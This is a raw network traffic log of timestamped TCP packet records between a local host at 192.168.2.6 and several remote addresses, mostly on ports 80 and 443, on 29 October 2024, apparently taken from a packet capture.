Oct 29, 2024 15:27:50.952064991 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952070951 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.952080965 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952086926 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952100992 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952111959 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952119112 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952126026 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952132940 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952137947 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952141047 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.952141047 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.952147961 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952156067 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952162027 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952167988 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952173948 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952187061 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952193975 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952205896 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952214003 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.952214003 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.952214003 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.952214003 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.952234983 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952239990 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.952245951 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952260017 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952266932 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952272892 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952279091 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952286959 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952290058 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.952296019 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952303886 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952306986 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.952311993 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952339888 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.952339888 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.952359915 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:50.952451944 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:50.952502012 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.015952110 CET	443	50030	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.016105890 CET	443	50030	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.016334057 CET	50030	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.016393900 CET	50030	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.016432047 CET	443	50030	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.016460896 CET	50030	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.016478062 CET	443	50030	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.019346952 CET	50039	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.019388914 CET	443	50039	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.019478083 CET	50039	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.019629002 CET	50039	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.019660950 CET	443	50039	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.081639051 CET	443	50031	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:51.082191944 CET	50031	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:51.082235098 CET	443	50031	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:51.083291054 CET	443	50031	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:51.083384037 CET	50031	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:51.083827972 CET	50031	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:51.083906889 CET	443	50031	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:51.084191084 CET	50031	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:51.084217072 CET	443	50031	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:51.084285975 CET	50031	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:51.084500074 CET	443	50031	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:51.101706028 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.101735115 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.101741076 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.101804972 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.101911068 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.107897043 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.107912064 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.107918978 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.107928991 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.107934952 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.107953072 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.107985020 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.113651037 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.113658905 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.113671064 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.113678932 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.113684893 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.113715887 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.113740921 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.119049072 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.119057894 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.119075060 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.119082928 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.119093895 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.119097948 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.119121075 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.119138002 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.124368906 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.124382973 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.124389887 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.124403000 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.124408007 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.124465942 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.124465942 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.129684925 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.129693985 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.129705906 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.129713058 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.129754066 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.134943962 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.134951115 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.134964943 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.134970903 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.134980917 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.134987116 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.134993076 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.135010958 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.135032892 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.136137009 CET	50031	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:51.138102055 CET	50040	443	192.168.2.6	23.198.7.183
Oct 29, 2024 15:27:51.138148069 CET	443	50040	23.198.7.183	192.168.2.6
Oct 29, 2024 15:27:51.138247967 CET	50040	443	192.168.2.6	23.198.7.183
Oct 29, 2024 15:27:51.138489962 CET	50040	443	192.168.2.6	23.198.7.183
Oct 29, 2024 15:27:51.138508081 CET	443	50040	23.198.7.183	192.168.2.6
Oct 29, 2024 15:27:51.140259981 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.140278101 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.140285015 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.140290976 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.140341997 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.145529985 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.145538092 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.145543098 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.145555973 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.145562887 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.145595074 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.145629883 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.150809050 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.150824070 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.150829077 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.150841951 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.150846958 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.150886059 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.150914907 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.156127930 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.156136990 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.156142950 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.156148911 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.156156063 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.156183004 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.156234026 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.161375999 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.161384106 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.161408901 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.161417007 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.161431074 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.161465883 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.166691065 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.166698933 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.166711092 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.166717052 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.166723967 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.166758060 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.166788101 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.171962976 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.171971083 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.171982050 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.172039032 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.172046900 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.172054052 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.172091961 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.177253962 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.177261114 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.177333117 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.177335978 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.177340984 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.177387953 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.182518005 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.182533026 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.182538986 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.182579994 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.182588100 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.182593107 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.182593107 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.182637930 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.188947916 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.188955069 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.188983917 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.188992023 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.189026117 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.189058065 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.194633961 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.194641113 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.194659948 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.194673061 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.194689989 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.194695950 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.194716930 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.194750071 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.232429981 CET	443	50032	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:51.233180046 CET	50032	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:51.233201981 CET	443	50032	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:51.234803915 CET	443	50032	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:51.234879017 CET	50032	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:51.236640930 CET	50032	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:51.236768007 CET	443	50032	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:51.237622976 CET	50041	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:51.237710953 CET	443	50041	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:51.237788916 CET	50041	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:51.237828970 CET	50032	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:51.237849951 CET	443	50032	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:51.237879992 CET	50032	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:51.237946033 CET	443	50032	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:51.238157034 CET	50041	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:51.238187075 CET	443	50041	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:51.267532110 CET	50042	443	192.168.2.6	20.125.209.212
Oct 29, 2024 15:27:51.267612934 CET	443	50042	20.125.209.212	192.168.2.6
Oct 29, 2024 15:27:51.267710924 CET	50042	443	192.168.2.6	20.125.209.212
Oct 29, 2024 15:27:51.267997026 CET	50042	443	192.168.2.6	20.125.209.212
Oct 29, 2024 15:27:51.268027067 CET	443	50042	20.125.209.212	192.168.2.6
Oct 29, 2024 15:27:51.286920071 CET	443	50031	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:51.287843943 CET	50031	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:51.287940025 CET	443	50031	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:51.288000107 CET	50031	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:51.295077085 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.300525904 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.311697960 CET	50032	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:51.489609957 CET	443	50032	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:51.490259886 CET	50032	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:51.490312099 CET	443	50032	20.42.65.94	192.168.2.6
Oct 29, 2024 15:27:51.490468979 CET	50032	443	192.168.2.6	20.42.65.94
Oct 29, 2024 15:27:51.503820896 CET	443	50035	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.506050110 CET	50035	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.506069899 CET	443	50035	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.506501913 CET	50035	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.506508112 CET	443	50035	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.513309002 CET	443	50034	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.513905048 CET	50034	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.513963938 CET	443	50034	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.514302015 CET	50034	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:51.514317036 CET	443	50034	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:51.825439930 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825448990 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825457096 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825462103 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825475931 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825484991 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825500965 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825503111 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.825516939 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825535059 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825541019 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825546026 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825548887 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.825553894 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825561047 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825567961 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825568914 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.825582027 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825592041 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825594902 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.825598955 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825604916 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825611115 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825618982 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825625896 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.825627089 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825643063 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825651884 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825675964 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825680017 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.825692892 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825700045 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825711966 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825712919 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.825712919 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.825719118 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825726032 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825732946 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.825732946 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825741053 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825743914 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.825747967 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825757980 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825764894 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825773954 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825781107 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.825782061 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825792074 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825800896 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.825809002 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825817108 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825824976 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825834036 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825834990 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.825834990 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.825843096 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825851917 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.825861931 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825880051 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825890064 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825890064 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.825901031 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825906992 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825913906 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.825916052 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825925112 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825932026 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.825934887 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825944901 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825953960 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825962067 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825967073 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.825970888 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825980902 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825989008 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.825998068 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.826003075 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.826009989 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.826014042 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.826015949 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.826033115 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.826037884 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.826049089 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.826050997 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.826059103 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.826066971 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.826072931 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.826078892 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.826080084 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.826087952 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.826093912 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.826097965 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.826101065 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.826108932 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.826122999 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.826128960 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.826128960 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.826137066 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.826142073 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.826145887 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.826155901 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.826164007 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.826169968 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:51.826173067 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:51.826189995 CET	80	49940	185.215.113.206	192.168.2.6
